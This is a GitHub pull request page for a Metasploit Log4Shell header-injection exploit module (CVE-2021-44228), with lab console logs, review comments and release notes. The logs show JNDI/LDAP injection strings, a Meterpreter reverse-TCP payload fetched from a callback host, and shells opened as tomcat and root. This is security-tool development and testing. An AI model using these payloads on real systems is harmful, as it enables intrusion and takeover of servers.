[+] 127.0.0.1:8080        - Log4Shell found via /struts2-showcase/struts/utils.js/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/192.168.140.105%3a9000/lsi1bn6nbrb1q1j/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/ (java: BellSoft_11.0.13)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] The target is vulnerable.
[*] Client sent unexpected request 2
[*] Command shell session 1 opened (192.168.140.105:4444 -> 192.168.140.105:52585 ) at 2022-01-10 14:09:10 -0600
[*] Server stopped.


whoami
tomcat
^C
Abort session 1? [y/N]  y

[*] 127.0.0.1 - Command shell session 1 closed.  Reason: User exit
msf6 exploit(multi/http/log4shell_header_injection) > set HTTP_HEADER X-Api-Version
HTTP_HEADER => X-Api-Version
msf6 exploit(multi/http/log4shell_header_injection) > set targeturi /
targeturi => /
msf6 exploit(multi/http/log4shell_header_injection) > set target Automatic
target => Automatic
msf6 exploit(multi/http/log4shell_header_injection) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/http/log4shell_header_injection) > run

[*] Started reverse TCP handler on 192.168.140.105:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 127.0.0.1:8080        - Log4Shell found via / (header: X-Api-Version) (java: Oracle Corporation_1.8.0_181)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] The target is vulnerable.
[*] Serving Java code on: http://192.168.140.105:8080/lY5brHbn1.jar
[+] Payload requested by 192.168.140.105 using Java/1.8.0_181
[*] Sending stage (58082 bytes) to 192.168.140.105
[*] Meterpreter session 2 opened (192.168.140.105:4444 -> 192.168.140.105:52866 ) at 2022-01-10 14:32:40 -0600
[*] Client sent unexpected request 2
[*] Server stopped.

meterpreter >
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer    : 91b263839f9b
OS          : Linux 5.10.47-linuxkit (amd64)
Meterpreter : java/linux

# Use Ruby Java bridge to create a Java-natively-serialized object
#
# @return [String] Marshalled serialized byteArray of the loader class
def byte_array_payload(pay_class = 'metasploit.PayloadFactory')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This doesn't seem to be used anywhere as of now. Is this for potential future additions or is it no longer needed in the module?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not used currently - exposure of a method we can later leverage to build more custom/dynamic serialization payloads. Breadcrumbs to follow later or for some other entrepreneurial hacker to pick up.

@smcintyre-r7 smcintyre-r7 self-requested a review January 11, 2022 21:49
Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Alright, everything looks good to me now. I gave it one final test after pushing a commit to preemptively adjust how we refer to ysoserial. In the near future, I'm hoping we'll have additional gadget chains that are not provided by ysoserial, so I wanted to get ahead of that stale reference.

Thanks for all of your effort on this @sempervictus ! And thank you for all of your guidance and input @schierlm , it is much appreciated!

Struts2 Testing
msf6 exploit(multi/http/log4shell_header_injection) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.159.128:8080  - Log4Shell found via /struts2-showcase/struts/utils.js (header: If-Modified-Since) (java: BellSoft_11.0.13)
[+] 192.168.159.128:8080  - Log4Shell found via /struts2-showcase/struts/utils.js/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/192.168.159.128%3a389/hsa8x66wvyk75yj5lkddru2lkgq/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/ (java: BellSoft_11.0.13)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] The target is vulnerable.
[*] Command shell session 1 opened (192.168.159.128:4444 -> 192.168.159.128:59870 ) at 2022-01-11 16:32:20 -0500
id
[*] Server stopped.

uid=999(tomcat) gid=999(tomcat) groups=999(tomcat)
^C
Abort session 1? [y/N]  y

[*] 192.168.159.128 - Command shell session 1 closed.  Reason: User exit
msf6 exploit(multi/http/log4shell_header_injection) > 

@smcintyre-r7 smcintyre-r7 merged commit 877bab6 into rapid7:master Jan 11, 2022
@smcintyre-r7
Copy link
Contributor

Release Notes

This adds an exploit for HTTP servers that are affected by the Log4J/Log4Shell vulnerability via header stuffing. This vulnerability is identified as CVE-2021-44228.

@sjanusz-r7 sjanusz-r7 added the rn-modules release notes for new or majorly enhanced modules label Jan 14, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

8 participants